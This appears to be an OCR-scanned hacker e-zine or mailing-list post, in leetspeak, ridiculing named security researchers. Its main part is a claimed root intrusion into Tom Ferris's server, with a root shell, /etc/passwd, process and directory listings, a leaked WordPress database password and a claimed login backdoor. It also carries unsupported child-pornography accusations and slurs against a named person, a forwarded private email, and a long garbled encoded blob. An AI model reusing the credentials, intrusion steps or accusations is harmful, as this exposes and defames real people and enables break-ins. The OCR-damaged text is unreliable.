sensitive data — personal, medical and financial — are exchanged, and
stored. Consumers expect and demand security for this information. This
whitepaper examines a few vulnerability detection methods — specifically
comparing and contrasting manual penetration testing with automated
scanning tools. Download "Automated Scanning or Manual Penetration
Testing?" today!

https://www.watchfire.com/securearea/whitepapers.aspx?id=701300000008BOQ

[Full-disclosure] Squadron of Justice to the rescue
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Matthew Franz
http://www.threatmind.net

pdp (architect)
http://www.gnucitizen.org

Matthew Franz
http://www.threatmind.net

pdp (architect)
http://www.gnucitizen.org

ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT
MDFRANZ MDFRANZ MDFRANZ MDFRANZ MDFRANZ CISCO MDFRANZ MDFRANZ MDFRANZ
pdp flndz j4v4 funny!

'It saved the day many times in my professional career.' Petko D. Petkov

To: full-disclosure @XXXXXXXXXXXXXXXXX, dailydave @ XXXXXXXXXXXXXXXXXXXXX,
pen—test@ XXXXXXXXXXXXXXXXX, Webappsec@XXXXXXXXXXXXXXXXX, POLT3RG31S7@PDP

Date: Tue, 27 Jun 2006 16:04:32 +0100

From: "pdp (architect)" <pdp.gnucitizen@xXXXXXXXXXXXXX>

To: unknown.pentester@XxxXXXXXXX

Subject: bug me free

MIME-Version: 1.0

Content-Type: text/plain; charset=1SO-8859-1; format=flowed
Content-Transfer—-Encoding: 7bit

Content-Disposition: inline

Delivered-To: pdp.gnucitizen@XXXXXXXXX

man you are like ghost... people cannot find you... what's going on man

;) anyway | am completely bored that's why | am bugging you

pdp (architect)
http://www.gnucitizen.org

[Full-disclosure] Squadron of Justice to the rescue 23


http://www.threatmind.net
http://www.gnucitizen.org
http://www.threatmind.net
http://www.gnucitizen.org
http://www.gnucitizen.org

[Full-disclosure] Squadron of Justice to the rescue

HE HE HE HE HE HE 'man you are like ghost' HE HE HE HE HE HE!

Received: by 10.35.48.16 with HTTP; Tue, 27 Jun 2006 08:38:21 —0700 (PDT)
Message-ID: <6905b1570606270838pdb45090w2074401762C05f1C@ XXXXXXXXXXXXXX>
Date: Tue, 27 Jun 2006 16:38:21 +0100

From: "pdp (architect)" <pdp.gnucitizen@xXXXXXXXXXXXXX>

To: pagvaciM$$8/4AUIL"&; 7&Q"&3ILEUD#181$4ZIE)$%) SB2—ZL<##T+W$'%6=0I"&9
M@6P=3<&I'$RF8?7UC5;)T$X@]75.(EPQ,EF)!XW*Q+FILSL;66GE,Q"T>,-S
MO-NHB$M,:I13IAF(*N.34V*EOC'+$]/6(:\CM246ZL&;0A[CNZ%QM)MB81HSV$
M+P))9YL.-$RF>1.J./:.RJO@>TE,J-#>5#!>[,.Q=8IBE5BW43&'0/*IXO((
M#E4AY)O6$[O7ES IX/&3$B5%#—,.8BA.)QLB/6NO_P(I"'NC#N=C&579PZNJ3
M@.B&;J>8MT50ZDEU6,E9L%BZPS&TBNJ:R[#HBMHFSTI.AT*2E(\FLYW*C+6T
MZ)N-L*XRZ7LYZURZBV+4W$ZV-8W5&T.V4PJPU2F2J1JC&RDK+T:"HIB1IMV6@
M1+:FNBFV$BZ-G2;KKL@O6N5>&VSDD4VM6J%=7*1,HE&FSW+27&9G-K5R]GL/
M2\[<*22DF-<FJ[-VV;=C49BAR7242Y%E2S12Y#;6 T2:XU!/20<H9+:-NA*2Y
MDBB>%)"<[-)&;9@53LQ#/9#36BYIJMMK=V(NR'$(B6R—;#3B%SS:4>B!X4E*D
M>B(Q$\B*+M8411=J5"T&E@1LD1)C7:,)%"|=65%RJITN":K7+DS:VI:9JU%N*
M8V*B',1)+EQ;)=M:SVSM9KA[1/9YF,+6S"D13TCI062DV[L-H1F:8)#=7*9—
M6L.Z<]MM/9Y135%$(V2SINSAUV-H:C(F76YXT2]1D=L5RPW29JST:)ROL.Q/;
M4*VUK30LPZ=I"VL;9R01F8SM39Z,6(=9,L—(C,][WCF*$".+"*$6% @#"I:'#

M @\4.]'66]V@PS?Y=\WH_WY<"Y=N\+ST2C8>QO;+8=ZER,/":;;"NX8([K]>
MG"?VA_H:<Q70ZI6IW<]7)NC—;;OMM]/,T+$:IXE(U,O6ATIJF3]N>;;5&\V?
M%!"O!DK[;9CY+%[;"K5?'1<XSQP_VSDIYL.&0 ,%.?"WK+:0/DEBP7,%"M=K
M8HWVA-E\I6K_+/)J]B79DJS6)M+J,62?IM6:V*MS5YU-1?XV/LL30Q[G;<D][
M]F+-2[*6'1D/::W@O02R330+33/,E=WHNVB6;GMR,;<&'8<ED*::9-#8]"ET6
M)MSM5MH/CAI, T=&"J>$H7.B;+5ER>TIN7T#R3U[%JINSNQ:FP4%A[[W".&:]
M(X>%NHRG;S:N>;JK8\SKCXY\%.+3/+_8\F\=—4WK=R;<LM-34.RVH7\)-%)]
MNYRS5ECLVX6IF8S<&PZ'>]J.NKQE&JINS?II2=;INSE_*\BW@FBGS30*G,]|G8(
MRO+LCHMSV)9*TBBMBKCS"":WXVL4!IV8GA6TA<\*[?[Q/)Y5%S"?N5:FO/8;
M:VI[W1.N>KQA/8IN'?LALYRG\V<N-..MM=23QED@ZWT46W4S%,AVBB#ZKO-"'
MZX(0I+"[2Z[Z5[TK=KK[8=YW5(\"AW.>*JP_X(OS?9L]*]*2IGI1T83$D<<;
M@%095%3BPD(BA"PWOT'6(7D—-("N4="3(F'B76A;+R2YB6W@$!!GVN',"S+5K
M*[-2A>"9L-V(%M9_—;2WW!>)?,CI#3LXEM]%08/?6K_S+PTA< S[X[??T0!X
M"[E\|JU+&U &9#T4&8<?:2"=N(N$ETLO)G,) A@<PYOQO)+"8E\'6:;-Y<NBD*"
M878S,&AR<,S.<X:TR<<7"<-RN2<#,)F3)E-XJ],J:<R&\E " X)")7SA$1B7'V
M'H=:\?9??E-W,182G&2]\HY (7.B(Y ":;,0—"#<,;A'U>]9H+O#@G#)'IN"NC
MJUKFD(V"R)&X>0,MPOLG%<FW+ @#R,0>%$<_% :5YGEU!$#7T\|6ZE4"MV/7L
M3,CM<X34(51>&%>F"2!Z.J?G'WJI>&R"S"VJIZA\D3TT#-ZL7?=<*WH'IK;,)A
MAG.=Q/<\A/41UU*=T,5(H4??/Y/067=AKK37+?,EPTI)XF99%,&[CZX28]#F
M>X=4X<S)[.!1AJ!'7V5D0"8 NS(<N1>"7>5M!;]'%\ST&51Q<3Q90)QCEEZ</S

M PLCS$RLLX7<21\=""WRT:BBMN;VY,Z#+LT=1[=1S[G.],YIQVU<2ZW+(,'
M50YO087##B,,)]%?(J+"++@2+U=6M:PX;(SF'RV' Q@Z34\#1=2BM!&5(4622
M*S™.9#, AlE #>2\'(—=@61/77Y.W&_ *|(X<C#F3)'+RGVN><10$X72<F?ZU
MF&-WUN??E,BR)LAW]?P"1"XM;?=9""<+DFTO<?8X<_7Z.0YV\.393/X1IGJL
M:9!16C3\8X"<)5]_5&Y3;J?[4=&*\N:X['9JG+]VX?+=D"BK5:9N_ZIM6J:\K
M]%>KQGP;*+5>>QA)3-\V./9:MOQEDZ6K5K,>BQG?8;—-?'20E/J<7;#0(EF:#
MX].8Z2J91;LU%R&IQBR7--5C%*WIY)ZI*RY3:LELGK8\I-/-:YON-B:L[,Z$H
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H4ppy n3w y34r Honeynet p30pl3z! And keep the good work & eEye data selling up!
4nd r3m3mb3r, w3 4r3 watchlng you c0d3 shlt P1thOn! Ho ho ho ho!

0.00.0 4. TOM FERRIS SECURITY-PROTOCOL.COM BUGS EXPLOITS APPLE ADVISORIES ADS

V3rry prOud Of Qur fr31nd TOm F3rrlz. H3 I1kz HONO y34rz 490. H3 1z a r3gul4r
Of h4cker m4g4z1n3z 1n th3 OWN3D CLU3L3SS FOCK3RZ $3ct10n. W3 4r3 prOud Of TOm
agr331ng t0 b3 Our UNINV1T3D GU3ZT, b4dp4ck3t, wlth 1mpr3sslv3 P3rl xplOltz.

4ft3r z0m3 0d4y w4ztlng...

$ ./bfzh331 127.0.0.1 6768 ALERT: PR1V8 HOP S3L3CT10N ALGOR1THM L33TORZ
sh: no job control in this shell

# whoami

root

#

TOm shOwz uz h1z /etc/passwd (bcuz PGP 1z t00 cOmplic4t3d fO him):

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/shin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
Ip:x:4:7:1p:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:0perator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/shin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/shin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/shin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege—separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/shin/nologin
smmsp:x:51:51::/var/spool/mqueue:/shbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/iwww/usage:/sbin/nologin
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xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ntp:x:38:38::/etc/ntp:/shin/nologin
pegasus:x:66:65:tog—pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:
/sbin/nologin

htt:x:100:101:IMF Htt:/usr/lib/im:/sbin/nologin
canna:x:39:39:Canna Service User:/var/lib/canna:/sbin/nologin
wnn:x:49:49:Wnn Input Server:/var/lib/wnn:/sbin/nologin
dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/shin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
tommy:x:500:500::/home/tommy:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
postfix:x:89:89::/var/spool/postfix:/shin/nologin

Zo, w3 knOw itz th3 R34L TOMMY!! V3RRY N1C3 TO M33T YOU TOMMY! (COCKSH4K3).

20:36:37 up 6:30, 1 user, load average: 0.03, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
tommy pts/0 adsl-75-63-18-83 19:46 5.00s 1.74s 0.01s sshd: tommy [pr

Tom Ferris 1z a Ilvlng IDS. But h3 doz n0Ot z33 shlt. L1k3 Junlp3r!
Ok4y, 13t'z zee 1z h3 h4s int3rr3ztlng c0d3z and Apple int3g3r Ov3rflow 0d4yz:

No, h3 d0z nOt. :( So sad, Tom, so sad! But h3 h4z 4n bl0Og:

Il ** MySQL settings ** //

define('DB_NAME', 'secpro');

define('DB_USER', 'secpro');
define('DB_PASSWORD', 'ANNnrSX57yTbmZCya";
define('DB_HOST', 'localhost');
define('WP_CACHE', true);

P4zzwOrdz g3n3r4t3d by TOmz g1ft3d mind, 100% Department of Defense certified.
NO dOubt h3 wOrk3d at eEye t00... R3ZP3KT!

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 2160 548 ? S 14:06 0:00 init [3]
root20.00.000 ? S 14:06 0:00 [migration/0]
root 30.0 0.0 0 0 ? SN 14:06 0:00 [ksoftirqd/0]
root4 0.00.000 ? S 14:06 0:00 [migration/1]
root50.0 0.0 0 0 ? SN 14:06 0:00 [ksoftirqd/1]
root 6 0.0 0.0 0 0 ? S< 14:06 0:00 [events/0]
root 7 0.0 0.0 0 0 ? S< 14:06 0:00 [events/1]
root 8 0.0 0.0 0 0 ? S< 14:06 0:00 [khelper]
root 9 0.0 0.0 0 0 ? S< 14:06 0:00 [kacpid]
root 28 0.0 0.0 0 0 ? S< 14:06 0:00 [kblockd/O]
root 29 0.0 0.0 0 0 ? S< 14:06 0:00 [kblockd/1]
root 47 0.00.000 ? S 14:06 0:00 [pdflush]
root 48 0.00.000 ? S 14:06 0:00 [pdflush]
root 50 0.0 0.0 0 0 ? S< 14:06 0:00 [aio/0]

root 51 0.0 0.0 0 0 ? S< 14:06 0:00 [aio/1]
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root 30 0.00.000 ? S 14:06 0:00 [khubd]

root 49 0.00.000 ? S 14:06 0:00 [kswapdO]

root 197 0.00.000 ? S 14:06 0:00 [kseriod]

root 311 0.0 0.0 0 0 ? S< 14:06 0:00 [ata/0]

root 312 0.0 0.0 0 0 ? S< 14:06 0:00 [ata/1]

root 316 0.00.00 0 ? S 14:06 0:00 [scsi_eh_0]

root 317 0.00.000 ? S 14:06 0:00 [scsi_eh_1]

root 327 0.00.00 0 ? S 14:06 0:00 [kjournald]

root 1414 0.0 0.0 1824 476 ? S<s 14:06 0:00 udevd

root 1959 0.0 0.0 0 0 ? S< 14:06 0:00 [kauditd]

root 2018 0.0 0.0 0 0 ? S< 14:06 0:00 [kmirrord]

root 2042 0.0 0.000 ? S 14:06 0:00 [kjournald]

root 2637 0.0 0.0 2728 672 ? Ss 14:06 0:00 syslogd -m 0

root 2942 0.0 0.0 3076 384 ? Ss 14:07 0:00 klogd —x

root 2952 0.0 0.0 3244 300 ? Ss 14:07 0:00 irgbalance

rpc 2970 0.0 0.0 2680 556 ? Ss 14:07 0:00 portmap

root 2989 0.0 0.0 3768 824 ? Ss 14:07 0:00 rpc.statd

root 3013 0.0 0.0 5468 340 ? Ss 14:07 0:00 rpc.idmapd

root 3089 0.0 0.0 3460 508 ? S 14:07 0:00 /usr/sbin/smartd

root 3098 0.0 0.0 2388 440 ? Ss 14:07 0:00 /usr/sbin/acpid

root 3191 0.0 0.0 4628 1040 ? Ss 14:07 0:00 /usr/sbin/sshd

root 3204 0.0 0.0 3096 756 ? Ss 14:07 0:00 xinetd —stayalive —pidfile /var/run/xinetd.pid
root 3257 0.0 0.0 5904 1628 ? Ss 14:07 0:00 /ustr/libexec/postfix/master
postfix 3267 0.0 0.0 6644 1692 ? S 14:07 0:00 gmgr —I -t fifo —u

root 3268 0.0 0.0 2660 356 ? Ss 14:07 0:00 gpm —m /dev/input/mice —t exps2
htt 3298 0.0 0.0 2460 120 ? Ss 14:07 0:00 /usr/sbin/htt —retryonerror O

htt 3299 0.0 0.1 8460 3040 ? S 14:07 0:00 htt_server —-nodaemon

root 3321 0.0 0.0 4784 928 ? Ss 14:07 0:00 crond

xfs 3349 0.0 0.0 3160 1248 ? Ss 14:07 0:00 xfs —droppriv —daemon

root 3366 0.0 0.0 2880 420 ? Ss 14:07 0:00 /usr/sbin/atd

dbus 3375 0.0 0.0 3856 812 ? Ss 14:07 0:00 dbus—-daemon-1 ——system

root 3385 0.0 0.0 5292 296 ? Ss 14:07 0:00 rhnsd ——interval 240

root 3394 0.0 0.2 8052 5096 ? Ss 14:07 0:00 hald

root 3401 0.0 0.0 1476 412 ttyl Ss+ 14:07 0:00 /shin/mingetty ttyl

root 3402 0.0 0.0 2212 412 tty2 Ss+ 14:07 0:00 /shin/mingetty tty2

root 3403 0.0 0.0 2596 412 tty3 Ss+ 14:07 0:00 /sbin/mingetty tty3

root 3404 0.0 0.0 2732 412 tty4 Ss+ 14:07 0:00 /sbin/mingetty tty4

root 3405 0.0 0.0 3444 412 tty5 Ss+ 14:07 0:00 /sbin/mingetty tty5

root 3406 0.0 0.0 2516 412 tty6 Ss+ 14:07 0:00 /sbin/mingetty tty6

root 3407 0.0 0.0 2492 412 ttyS0O Ss+ 14:07 0:00 /shin/mingetty ttySO CON9600 vt102
root 4149 0.0 0.0 5020 1100 ? S 14:09 0:00 /bin/sh /usr/bin/mysqgld_safe ——defaults—file=/etc/my.cnf
——pid-file=/var/run/mysqld/mysqld.pid

mysql 4182 0.1 1.3 166628 27740 ? Sl 14:09 0:24 /usr/libexec/mysqld ——defaults—file=/etc/my.cnf
——basedir=/usr ——datadir=/var/lib/mysqgl ——user=mysql ——pid-file=/var/run/mysqld/mysqld.pid
——skip—locking ——socket=/var/lib/mysqgl/mysql.sock

root 4205 0.0 0.4 36456 9784 ? Ss 14:09 0:00 /usr/sbin/httpd

root 4348 0.0 0.0 3600 512 ? Ss 14:11 0:00 /usr/sbin/dovecot

root 4354 0.0 0.0 6980 1576 ? S 14:11 0:00 dovecot—auth

apache 6834 0.0 0.8 38912 18600 ? S 15:18 0:14 /usr/sbin/httpd

apache 7940 0.0 0.8 37768 16876 ? S 15:49 0:15 /usr/sbin/httpd

apache 8146 0.0 0.8 38016 17828 ? S 15:56 0:14 /usr/sbin/httpd
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apache 9005 0.0 0.8 37852 17468 ? S 16:22 0:12 /usr/sbin/httpd
apache 9008 0.0 0.8 37864 17080 ? S 16:22 0:12 /usr/sbin/httpd
apache 9362 0.0 0.8 37820 17212 ? S 16:33 0:11 /usr/sbin/httpd
apache 9366 0.0 0.8 37956 17196 ? S 16:33 0:11 /usr/sbin/httpd
apache 9641 0.0 1.0 40944 20864 ? S 16:42 0:10 /usr/sbin/httpd
apache 9698 0.0 0.8 37952 17028 ? S 16:44 0:10 /usr/sbin/httpd
apache 9984 0.0 0.9 37656 19228 ? S 16:55 0:09 /usr/sbin/httpd
apache 10086 0.0 0.9 37804 19696 ? S 16:58 0:09 /usr/sbin/httpd
apache 10113 0.0 0.9 37800 19300 ? S 16:58 0:10 /usr/sbin/httpd
apache 10121 0.0 0.9 37760 19416 ? S 16:59 0:10 /usr/sbin/httpd
apache 10172 0.0 0.9 37836 19344 ? S 16:59 0:11 /usr/sbin/httpd
apache 10176 0.0 0.8 37876 18100 ? S 16:59 0:10 /usr/sbin/httpd
apache 10190 0.0 0.9 37980 19312 ? S 16:59 0:09 /usr/sbin/httpd
apache 10191 0.0 0.8 38148 17644 ? S 16:59 0:09 /usr/sbin/httpd
apache 11080 0.0 0.8 37752 17168 ? S 17:31 0:08 /usr/sbhin/httpd
apache 11088 0.0 0.8 38128 17140 ? S 17:31 0:07 /usr/sbin/httpd
apache 11993 0.0 0.9 37736 19196 ? S 18:14 0:06 /usr/sbin/httpd
postfix 12814 0.0 0.0 7052 1632 ? S 19:02 0:00 pickup -I -t fifo —u
dovecot 13345 0.0 0.0 5368 1716 ? S 19:40 0:00 imap—login
dovecot 13348 0.0 0.0 3940 1720 ? S 19:40 0:00 imap—-login

root 13405 0.0 0.1 7448 2340 ? Ss 19:45 0:00 sshd: tommy [priv]
tommy 13419 0.0 0.0 7740 1776 ? S 19:46 0:00 sshd: tommy@pts/O
tommy 13424 0.0 0.0 4936 1460 pts/0 Ss 19:46 0:00 —bash

root 13464 0.0 0.0 5108 1172 pts/0 S 19:47 0:00 su

root 13465 0.0 0.0 5068 1496 pts/0 S 19:47 0:00 bash

tommy 13782 0.0 0.0 3060 1100 ? S 20:00 0:00 imap

dovecot 13938 0.0 0.0 5340 1464 ? S 20:10 0:00 imap—-login
dovecot 14014 0.0 0.0 4116 1464 ? S 20:15 0:00 imap—-login
tommy 14017 0.0 0.0 4324 1080 ? S 20:15 0:00 imap

dovecot 14024 0.0 0.0 4104 1716 ? S 20:15 0:00 imap—-login

root 14071 0.1 0.0 2164 972 pts/0 S+ 20:19 0:01 top

tommy 14096 0.0 0.0 3276 944 ? S 20:20 0:00 imap

dovecot 14097 0.0 0.0 4028 1716 ? S 20:20 0:00 imap—-login
tommy 14214 0.0 0.0 3384 896 ? S 20:30 0:00 imap

dovecot 14215 0.0 0.0 4324 1716 ? S 20:30 0:00 imap—-login
tommy 14266 0.0 0.0 4384 848 ? S 20:33 0:00 imap

dovecot 14267 0.0 0.0 4748 1460 ? S 20:33 0:00 imap—-login

OKZ! NOw I3tz s33 hls st4sh Of KIDDIE PORNZ:

total 3384

drwxr—xr—x 27 root root 4096 Feb 25 19:50 .

drwxr—xr—x 55 root root 4096 Feb 22 17:34 ..

—rw—r——r—— 1 root root 84 Aug 3 2006 404.php

—rw-r——r—— 1 root root 5469 Sep 14 13:22 BOOOEPLP3C.01._AA ...
—rw—r——r—— 1 root root 595 Dec 21 13:34 CSNotifier_steals_....
—rw—r——r—— 1 root root 527 Jan 23 22:52 adtest.html
drwxr—xr—x 2 tommy tommy 4096 Oct 4 00:44 advisory
drwxrwxrwx 3 root root 4096 Nov 14 13:29 amazon
—rw—r——r—— 1 root root 108 Feb 14 16:11 azoogleads.php
—rw—-r——r—— 1 root root 88 Nov 14 01:25 backend.php

[Full-disclosure] Squadron of Justice to the rescue



[Full-disclosure] Squadron of Justice to the rescue

drwxr—xr—x 3 root root 4096 Jan 10 12:23 backup

drwxr—xr—x 2 root root 4096 Mar 17 2006 binaryshadow—mirror
drwxr—xr—x 7 root root 4096 Jul 12 2005 coding

—rw—r——r—— 1 root root 61 Sep 7 2005 ffdeath.htm|

—rw—r——r—— 1 root root 61 Sep 8 2005 firefox—death.html
—rw—r——r—— 1 root root 0 Nov 27 12:59 googleecffb0a85ed1cb0d.htmi
drwxr—xr—x 2 root root 4096 Feb 14 16:13 images

drwxr—xr—x 3 root root 4096 Feb 14 2006 incoming

—rw—r——r—— 1 tommy tommy 94 Feb 25 19:50 index.php
drwxr—xr—x 16 tommy tommy 4096 Oct 4 2004 library
—rw—r——r—— 1 tommy tommy 15127 Apr 1 2003 license.txt
—rwxrwxrwx 1 root root 226 Feb 25 20:05 local_75238.xml
—TW——————— 1 apache apache 1994295 Jul 29 2005 lynn-cisco.pdf
drwxr—xr—x 2 tommy tommy 4096 Feb 24 20:06 poc

drwxr—xr—x 18 root root 4096 Jul 13 2005 programming-tutorials
—rw—r——r—— 1 tommy tommy 8160 Dec 21 2005 readme.html
drwxr—xr—x 2 apache apache 4096 Aug 9 2005 released
drwxr—xr—x 16 root root 4096 Mar 10 2006 resources
—rw-r——r—— 1 root root 77 Feb 14 13:34 robots.txt

—rw—r——r—— 1 root root 42 Dec 7 22:29 rotate.php

drwxr—xr—x 17 root root 4096 Nov 22 2002 shellcode
—rw-r——r—— 1 root root 621 Jan 1 20:17 sidel.txt

—rw-r——r—— 1 root root 869 Jan 3 00:11 side2.txt

—rw-r——r—— 1 root root 487 Jan 4 15:30 side3.txt

—rw-r——r—— 1 root root 569 Dec 7 22:28 side4.txt

—rw-r——r—— 1 root root 565 Dec 7 22:29 side5.txt

—rwxrwxrwx 1 root root 21827 Feb 24 20:59 sitemap.xml
—rw—r——r—— 1 root root 8011 Jan 14 15:23 sp—x15-advisory.php
—rw—r——r—— 1 root root 9235 Jan 14 15:23 sp—x16-advisory.php
—rw—r——r—— 1 root root 5785 Jan 14 15:23 sp—x17-advisory.php
—rw—r——r—— 1 root root 5644 Jan 14 15:23 sp—x18-advisory.php
—rw—r——r—— 1 root root 5305 Jan 14 15:22 sp—x19-advisory.php
—rw—r——r—— 1 root root 25 Oct 6 2005 sp—x19—poc.html
—rw—r——r—— 1 root root 6174 Jan 14 15:22 sp—x20—advisory.php
—rw—r——r—— 1 root root 9095 Jan 14 15:22 sp—x21-advisory.php
—rw—r——r—— 1 root root 8323 Jan 14 15:22 sp—x22-advisory.php
—rw—r——r—— 1 root root 5947 Jan 14 15:22 sp—x23-advisory.php
—rw—r——r—— 1 root root 6634 Jan 14 15:21 sp—x24-advisory.php
—rw—rw-r—— 1 tommy tommy 3480 Jan 14 15:21 sp—x25-advisory.php
—rw—r——r—— 1 root root 2226 Jan 14 15:21 sp—x26-advisory.php
—rw—r——r—— 1 root root 2690 Jan 14 15:21 sp—x27-advisory.php
—rw—r——r—— 1 root root 6644 Jan 14 15:21 sp—x28-advisory.php
—rw—r——r—— 1 root root 6596 Jan 14 15:21 sp—x29-advisory.php
—rw—r——r—— 1 root root 6495 Jan 14 15:20 sp—x30-advisory.php
—rw—r——r—— 1 tommy tommy 6762 Jan 14 15:20 sp—x31-advisory.php
—rw—r——r—— 1 root root 6428 Jan 14 15:20 sp—x32-advisory.php
—rw—r——r—— 1 root root 6513 Jan 14 15:20 sp—x33-advisory.php
—rw—r——r—— 1 tommy tommy 6418 Jan 14 15:20 sp—x34-advisory.php
—rw—r——r—— 1 root root 6893 Jan 14 15:20 sp—x35-advisory.php
—rw—r——r—— 1 root root 7307 Jan 14 15:20 sp—x36-advisory.php
—rw—r——r—— 1 root root 6846 Jan 14 15:19 sp—x37-advisory.php
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—rw—r——r—— 1 root root 6888 Jan 14 15:18 sp—x38-advisory.php
—rw—-r——r—— 1 root root 2828 Feb 20 01:18 sp—x39-advisory.php
—rw—r——r—— 1 root root 4720 Feb 14 16:01 sp—x40-advisory.php
—rw—r——r—— 1 root root 3266 Feb 14 16:04 sp—x41-advisory.php
—rw—r——r—— 1 root root 3812 Feb 14 16:04 sp—x42-advisory.php
—rw—r——r—— 1 root root 5327 Feb 14 16:04 sp—x43-advisory.php
—rw—r——r—— 1 root root 2724 Feb 24 20:15 sp—x44-advisory.php
drwxr—xr—=x 11 tommy tommy 4096 Mar 10 2006 sploits

drwxr—xr—x 4 root root 4096 Feb 22 17:43 store

drwxr—xr—x 35 root root 4096 Jan 6 2005 textfiles

—rw—r——r—— 1 root root 3814 Dec 13 14:45 tla.php

—rw—r——r—— 1 root root 896 Feb 16 2006 tom—ferris.gpg
—rw—r——r—— 1 tommy tommy 49476 Feb 16 2006 tom—ferris.jpg
—rw—rw-r—— 1 tommy tommy 765723 Oct 2 2003 tom.jpg
—rw—r——r—— 1 root root 41 Jan 14 15:17 top.php

—rw—r——r—— 1 root root 354 Feb 14 16:02 topl.txt

—rw—-r——r—— 1 root root 332 Feb 14 16:03 top2.txt

drwxr—xr—x 15 root root 4096 Jul 12 2005 tutorials

drwxr—xr—x 2 root root 4096 Feb 10 2006 upcoming

drwxr—xr—x 2 root root 4096 Aug 3 2005 videos

drwxr—xr—x 2 root root 4096 Sep 26 00:56 vids

drwxr—xr—x 23 root root 4096 May 18 2006 whitepapers

—rw—r——r—— 1 root root 106 Feb 2 18:27 wordtracker—pro.php
—rw-r——r—— 1 root root 90 Feb 2 18:26 wordtrackers—free-...
drwxr—xr—x 4 root root 4096 Feb 25 19:51 wp—admin

—rw—r——r—— 1 tommy tommy 1914 Feb 25 19:50 wp—atom.php
—rw—r——r—— 1 tommy tommy 865 Feb 25 19:50 wp—-blog—header.php
—rw—r——r—— 1 tommy tommy 2464 Feb 25 19:50 wp—comments—post.php
—rw—r——r—— 1 tommy tommy 3689 Feb 25 19:50 wp—commentsrss2.php
—rw—r——r—— 1 tommy tommy 867 Feb 25 19:50 wp-config—sample.php
—rw—r——r—— 1 root root 919 Nov 14 00:42 wp—config.php
drwxrwxrwx 5 root root 4096 Nov 14 00:41 wp—content

—rw—-r——r—— 1 root root 855 Feb 25 19:50 wp-cron.php

—rw—r——r—— 1 tommy tommy 120 Feb 25 19:50 wp—feed.php
drwxr—xr—x 4 root root 4096 Feb 25 20:03 wp-includes

—rw—r——r—— 1 tommy tommy 1395 Feb 25 19:50 wp-links—opml.php
—rw—r——r—— 1 tommy tommy 15868 Feb 25 19:50 wp-login.php
—rw—r——r—— 1 tommy tommy 5090 Feb 25 19:50 wp—-mail.php
—rw—r——r—— 1 tommy tommy 291 Feb 25 19:50 wp—pass.php
—rw—r——r—— 1 tommy tommy 2229 Feb 25 19:50 wp-rdf.php
—rw—r——r—— 1 tommy tommy 251 Feb 25 19:50 wp-register.php
—rw—r——r—— 1 tommy tommy 1240 Feb 25 19:50 wp-rss.php
—rw—r——r—— 1 tommy tommy 2041 Feb 25 19:50 wp-rss2.php
—rw—r——r—— 1 tommy tommy 9461 Feb 25 19:50 wp-settings.php
—rw—r——r—— 1 tommy tommy 3531 Feb 25 19:50 wp-trackback.php
—rw—r——r—— 1 tommy tommy 38388 Feb 25 19:51 xmlrpc.php
drwxr—xr—x 8 tommy tommy 4096 Dec 29 2003 zines

n1C3! h0hOhOhOhOhO:
lynn—cisco.pdf Michael Lynn sh1tz (bOring cr4p)
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wp-login.php Backd00r3d blogshit logging!

videos Tom Ferris child pornography archive
tom—ferris.gpg GPG secret keyring? Or public key?
tom—ferris.jpg Transvestite phOt0 fO MSN k1dz

tom.jpg Transvestite phOt0 fO ICQ k1dz

sploits R1ppln 4rchlv3z!

backup Web accessible backups for your convenience.

advisory:

total 148

drwxr—xr—x 2 tommy tommy 4096 Oct 4 00:44 .

drwxr—xr—x 27 root root 4096 Feb 25 19:50 ..

—rw—r——r—— 1 tommy tommy 3633 Jan 6 2006 sp—x05—advisory.txt
—rw—r——r—— 1 tommy tommy 1793 Jan 6 2006 sp—x06—advisory.txt
—rw—r——r—— 1 tommy tommy 1851 Jan 6 2006 sp—x07—-advisory.txt
—rw—r——r—— 1 tommy tommy 1919 Jan 6 2006 sp—x08—advisory.txt
—rw—r——r—— 1 tommy tommy 1146 Jan 6 2006 sp—x09—advisory.txt
—rw—r——r—— 1 tommy tommy 6024 Jan 6 2006 sp—x10—advisory.txt
—rw—r——r—— 1 tommy tommy 6684 Jan 6 2006 sp—x1l-advisory.txt
—rw—r——r—— 1 tommy tommy 3735 Jan 6 2006 sp—x12—advisory.txt
—rw—r——r—— 1 tommy tommy 3431 Jan 6 2006 sp—x13—advisory.txt
—rw—r——r—— 1 tommy tommy 4149 Jan 6 2006 sp—x14—advisory.txt
